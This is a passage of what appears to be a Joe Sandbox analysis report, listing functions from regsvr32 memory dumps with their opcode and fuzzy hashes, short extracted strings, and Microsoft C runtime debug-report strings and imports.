Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547686586
Opcode ID: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction ID: fb4667ec304b728e9739446c3b2210f9efd75ae712771165d94948b9d3b69a1a
Opcode Fuzzy Hash: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction Fuzzy Hash: E641D2B181038ECFCB48CFA4D88A5CE7BB1FB48358F115A09FC65A6224D3B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015A64 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Q, xrefs: 0000000180015A70

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Q
API String ID: 0-2885194100
Opcode ID: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction ID: a9705b719f6d6278401c973a571993bf085652b79919a3d293b183e1acac7421
Opcode Fuzzy Hash: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction Fuzzy Hash: 9141F5B180434E8FCF48CFA4C84A4DE7FB1FB18318F004619EC5AA6250D7B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016054 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

UA;k, xrefs: 0000000180016115

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UA;k
API String ID: 0-1243451539
Opcode ID: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction ID: 446a4ee04f98266578c7fdeec7750357e9914a8a062f983f2ae732e753f3f9f0
Opcode Fuzzy Hash: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction Fuzzy Hash: AC31E2B090034E8FCB48DF65C48A4DE7FB0FB68398F104619E859A6250D3B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017638 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

BHj, xrefs: 0000000180017725

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: BHj
API String ID: 0-429444599
Opcode ID: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction ID: 88d82d5a62f7e83910e755dc00f06a4804c179e3d48da98a41081325a3075538
Opcode Fuzzy Hash: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction Fuzzy Hash: 2F31B2B190078E8FCF84DF64C88A5DE7BB0FB58358F010A09E869A6250D7B8D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800078A4 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

h, xrefs: 0000000180007961

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: h
API String ID: 0-130632579
Opcode ID: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction ID: cf3c4ac770fe2f70a1efbbc55b0bf253fcb3f834dda7a796d3e0b8f6df5914ba
Opcode Fuzzy Hash: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction Fuzzy Hash: 803102705187C48BD789CFA8C48965EFBE1FB94384F50492DF486867A0C7F8D948CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800050D4 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

?%4, xrefs: 00000001800050F0

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?%4
API String ID: 0-422666221
Opcode ID: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction ID: a7a624d76b7a6b6a49308da5d267df16e75217d08dbc55e4173753466c7a619f
Opcode Fuzzy Hash: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction Fuzzy Hash: 0721A470628780AB878CDF28D49981BBBE1FBC9304F906A1CF9C68B364D7749445CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001870 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

ve, xrefs: 0000000180001922

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ve
API String ID: 0-2619166483
Opcode ID: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction ID: bd1518f744f48cc188204749d08526443734dde3f23549b257c943e1dafbc1e4
Opcode Fuzzy Hash: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction Fuzzy Hash: 3B217BB16187858BC748DF28C55951ABBE1FBCC318F404B5DF8CAAA360D378D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800026DC Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Hk, xrefs: 000000018000270F

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hk
API String ID: 0-2736353058
Opcode ID: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction ID: 887fdeaeec6620913bccc1519bb94b7ab545cc472d3a2f82c737665b3ebe67cb
Opcode Fuzzy Hash: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction Fuzzy Hash: 20319CB4628384AB8388DF28C49981ABBF1FBC9304F806A1DF8868A260D775D445CB03

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000529C Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

@Bp!, xrefs: 00000001800052BA

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @Bp!
API String ID: 0-2853746471
Opcode ID: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction ID: a42def5e4906ba5408d95fb28ee36c9633a666dd8c6a1d0dabe2f17b10b73553
Opcode Fuzzy Hash: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction Fuzzy Hash: 8831F37080034E8BCB44DF64D48A4DE7FB0FB28398F11461AE869A6210D3B48694CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006308 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

_&%, xrefs: 0000000180006314

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _&%
API String ID: 0-276555772
Opcode ID: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction ID: 84b034befa84842a6d26d9f5413634863003efd6eec9a48b68f2958c9e87747a
Opcode Fuzzy Hash: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction Fuzzy Hash: C3217BB06187848B8748DF28D45A51ABBE1FBCC308F404B5DF4CAAA360D3789609CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800295C8 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

V, xrefs: 00000001800295DC

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: V
API String ID: 0-2990084971
Opcode ID: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction ID: 19a784c3393b647e1d02845cf9d1e0035701b9012461bc7b4b972f754d4b287b
Opcode Fuzzy Hash: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction Fuzzy Hash: E021ADB4529780AFD788DF28D09981FBBF0FB89304F806A1CF9868B360E3759445CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800229CC Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

fe_, xrefs: 0000000180022A54

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fe_
API String ID: 0-1346747655
Opcode ID: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction ID: 9f8913945123cb4278df7be958afc5fc5d749fa594805d3e5c5ffa2821aade6f
Opcode Fuzzy Hash: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction Fuzzy Hash: 25215DB55183818B9348EF28D44A51BBBE1BB8D34CF404B5DF4CEAA260D778D615CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022290 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction ID: f4bbdddc4ebc6fe898ddfb3184844cd7ab88b5746f894e32bccfd4327ba112cf
Opcode Fuzzy Hash: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction Fuzzy Hash: F751247152078DABDBC9DF28C8CAA9C3BA1FB44754F806219FC468A261D774D5C9CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008134 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction ID: d7e3191637b78f1be9ff87ab698ad538cd7d2d45c46478ba59590cd585685a95
Opcode Fuzzy Hash: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction Fuzzy Hash: 5761B1B490078E8FCF48DF68D8595DE7BB0FB48318F014A19FC6696250D7B49A25CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E2F4 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction ID: f17689cc06c9532d3252f7dc5abd3373f404a3f8166a5e21e79f0a6996b359c5
Opcode Fuzzy Hash: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction Fuzzy Hash: 0B41B870608B488FC768DF19D08976ABBF1FB89711F40856EE68AC7351DB319848CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800280C8 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction ID: 9422144e28ecc4a9930a11d21f18f8515329dd70f686b1b52883d16e1825d5f7
Opcode Fuzzy Hash: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction Fuzzy Hash: 2A414D34509B588FD768DF28918A75ABBE0FF99310F004A5EE58EC7362D770D949CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006954 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction ID: bbd244a3cf3555809e115011e05a98a3e8d5fd40b217627e69400f11bfb30a94
Opcode Fuzzy Hash: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction Fuzzy Hash: 745193B590434ACFCF48CF64D48A5CE7FB0FB68398F214219E856A6250D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012500 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction ID: 8b5374169f69602128bd3032aff790cb1f354843cf4962b6e845d1f3af7287dc
Opcode Fuzzy Hash: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction Fuzzy Hash: 9741A0B180078E8BCB44CFA8D84A5DE7BF0FB18358F104A19F865A6250D3B89668CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022140 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction ID: c15f1aaae4e4e13c906589d5588e8395ab5dda45948680e718f465f07a8a5b6e
Opcode Fuzzy Hash: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction Fuzzy Hash: EC41C4B190038E8FDF48CF64C84A4DE7BB0FB58358F104619E86AA7250D3B8D665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020E40 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction ID: c896a4b3abc40741a1500648b31ed7fd3e584cfdc10005e9d212c87c64feccae
Opcode Fuzzy Hash: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction Fuzzy Hash: 2541C1B181035E8BDB48CFA8D48A5DE7FB0FB68398F204619E855A6214D3B496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C1B8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction ID: db142853bc0ceb5379a440845187b42230294cb0dc3411c083ed269e5703ce5c
Opcode Fuzzy Hash: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction Fuzzy Hash: E831AFB090034E8FCB48CF68C4865DE7FB0FB58398F114219E85AA6210D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800162BC Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction ID: 032a8ed253072f6fd1b05e82d0325949fdf78283cb4c6b9cd1929990fdaa7975
Opcode Fuzzy Hash: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction Fuzzy Hash: F93195B050078A8BCF48DF68C85A5AE3BB1FB48308B404A2DFD269A350D7B49664CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021444 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction ID: 9b1437c5de0cc84ebb9c914bb54d42d7cbbf0eefc466e3cb3beb54b329be6ed5
Opcode Fuzzy Hash: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction Fuzzy Hash: E631D5B190034E8FCF48DF68C48A4DE7FB1FB68398F100619E816A6250D3B896A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015F24 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction ID: e5161e45e20286f18a7c233b2d95f7c6d50d739ad8bc374cfda940a225cf7d0d
Opcode Fuzzy Hash: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction Fuzzy Hash: DD315C305187849BC3999B24C4C925EBEE1FB85399FA0682CF1C3C6264D774C98A8B06

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026A90 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction ID: e62117077ddfbae32c834d069a9ab80343e2b26cefae081dcf738b8df2b77597
Opcode Fuzzy Hash: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction Fuzzy Hash: B22148B56183848BD749DF28D44A41ABBE1FB9C74CF400B6DF4CAAB250D378D649CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A988 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction ID: 503aa3927fff6e4ad3ec536c6aa42fcab205a0bd32951b21a7cd1c91f46ab624
Opcode Fuzzy Hash: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction Fuzzy Hash: 3F2150B46187848BD748DF28C45641ABBE1FB9C358F804B2DF4CAA7350D7789A05CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DEFC Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction ID: bec49874bf3906a1a9314e610e6330a75ea1af3aa415f07e7967bd5f7b72e726
Opcode Fuzzy Hash: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction Fuzzy Hash: 61215CB16187848BD748DF28D05941FBBE0BB8D358F405B2DF8CAA6351D7789644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F7F1 Relevance: 79.1, APIs: 23, Strings: 22, Instructions: 376COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D2F828
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F855
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F861
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F89B
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8A8
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8B6
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8C3
_wcsftime_l.LIBCMTD ref: 000007FEF9D2F939
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2F991
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F9EF
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FA6B
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FAB2
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB1F
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB65
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FC34
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FC92
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FD69
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FDB6
_unlock.LIBCMTD ref: 000007FEF9D2FEFE

Strings

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2FC89
%s(%d) : %s, xrefs: 000007FEF9D2FBC2
_VCrtDbgReportA, xrefs: 000007FEF9D2F845, 000007FEF9D2F971, 000007FEF9D2F9DF, 000007FEF9D2FA5B, 000007FEF9D2FAA2, 000007FEF9D2FB0F, 000007FEF9D2FB55, 000007FEF9D2FC14, 000007FEF9D2FC82, 000007FEF9D2FD44, 000007FEF9D2FDA6, 000007FEF9D3007D
, Line , xrefs: 000007FEF9D2F8A1
Assertion failed: , xrefs: 000007FEF9D2FA09
strcat_s(szLineMessage, 4096, "\r"), xrefs: 000007FEF9D2FB16
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2F9AE, 000007FEF9D2FC51
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D2FD50
6o, xrefs: 000007FEF9D2FA85
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D2F83E, 000007FEF9D2F965, 000007FEF9D2F9D8, 000007FEF9D2FA54, 000007FEF9D2FA9B, 000007FEF9D2FB08, 000007FEF9D2FB4E, 000007FEF9D2FC08, 000007FEF9D2FC7B, 000007FEF9D2FD38, 000007FEF9D2FD9F, 000007FEF9D30076
Assertion failed!, xrefs: 000007FEF9D2FA1A
Second Chance Assertion Failed: File , xrefs: 000007FEF9D2F85A
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D2FD78
Pl, xrefs: 000007FEF9D2FD1B
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D2F84C, 000007FEF9D30084
<file unknown>, xrefs: 000007FEF9D2F884
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 000007FEF9D2FA62
strcat_s(szLineMessage, 4096, "\n"), xrefs: 000007FEF9D2FB5C
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2F9E6
(*_errno()), xrefs: 000007FEF9D2F97D, 000007FEF9D2FC20
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D2FDAD
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D2FAA9

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")$6o$Pl
API String ID: 242677333-579931786
Opcode ID: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction ID: 59d0ad1821d2987490fb14e41c4dc7dbbb96a2632b775096c591c8feb24f6032
Opcode Fuzzy Hash: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction Fuzzy Hash: DF321A3190CA8695EBB0CB18EC543EE73A0F784345FA04125D6CD47AA9DB7EE549CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B470 Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 260COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000007FEF9D2B4E8
